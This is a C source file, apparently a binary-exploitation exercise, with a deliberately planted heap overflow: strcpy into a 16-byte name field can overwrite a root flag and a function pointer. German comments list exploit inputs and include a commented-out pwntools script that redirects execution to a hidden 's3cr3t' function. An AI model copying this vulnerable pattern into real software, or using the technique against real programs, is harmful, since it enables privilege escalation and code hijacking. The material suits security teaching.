#include #include #include #include #include #include typedef struct creds creds_t; typedef struct creds { char name[16]; bool root; void (*welcome)(void); } creds_t; static creds_t *creds; /* internal prototypes */ static void login(void); static void s3cr3t(void); /* entry point */ int main(int argc, char **argv) { if (argc < 2) { printf("usage: %s \n", argv[0]); return -1; } creds = (creds_t *)calloc(1, sizeof(creds_t)); if (!creds) { perror("calloc"); return -1; } // Super duper cooler patch if (strlen(argv[1]) >= 16) { printf("\"%s\" is way too long, I'll give you a KISS\n", argv[1]); return -1; } // XXX #if 0 printf("creds = %#lx\n", (uint64_t) creds); printf("creds->name = %#lx\n", (uint64_t) &creds->name); printf("creds->root = %#lx\n", (uint64_t) &creds->root); printf("creds->welcome = %#lx\n", (uint64_t) &creds->welcome); printf("login = %#lx\n", (uint64_t) login); printf("s3cr3t = %#lx\n", (uint64_t) s3cr3t); #endif // XXX creds->welcome = login; creds->root = false; strcpy(creds->name, argv[1]); // Schwachstelle diese hier creds->welcome(); free(creds); return 0; } /* internal function definitions */ static void login(void) { printf("Hello %s, you have %s root privileges.\n", creds->name, ((creds->root) ? "gained" : "no")); } static void s3cr3t(void) { printf("You've gathered secret material!\n"); } // aslr_off: Addressraum nicht mehr randomisiert // // root: ./heap oarsch_7777777777 // // absturz: ./heap oarsch_77777777778888888 // // s3cr3t: ./heap oarsch_77777777778888888 // // ./heap oarsch_77777777778888888mSUUUU (0x55555555536d = mSUUUU) // // bei #if 0 funzt der Angriffsvektor natuerlich nimmer, weil code von s3cr3t verschoben // (Instruktionen fehlen ja jetzat) // // from pwn import * // import subprocess // // context(arch='amd64', os='linux', log_level='info') // // secret_addr = ELF('./heap').symbols['s3cr3t'] // secret_addr = secret_addr - 0x1000 + 0x555555555000 // arg = b'}' * 24 + p64(secret_addr).rstrip(b'\x00') // // subprocess.run(['./heap', arg]) // //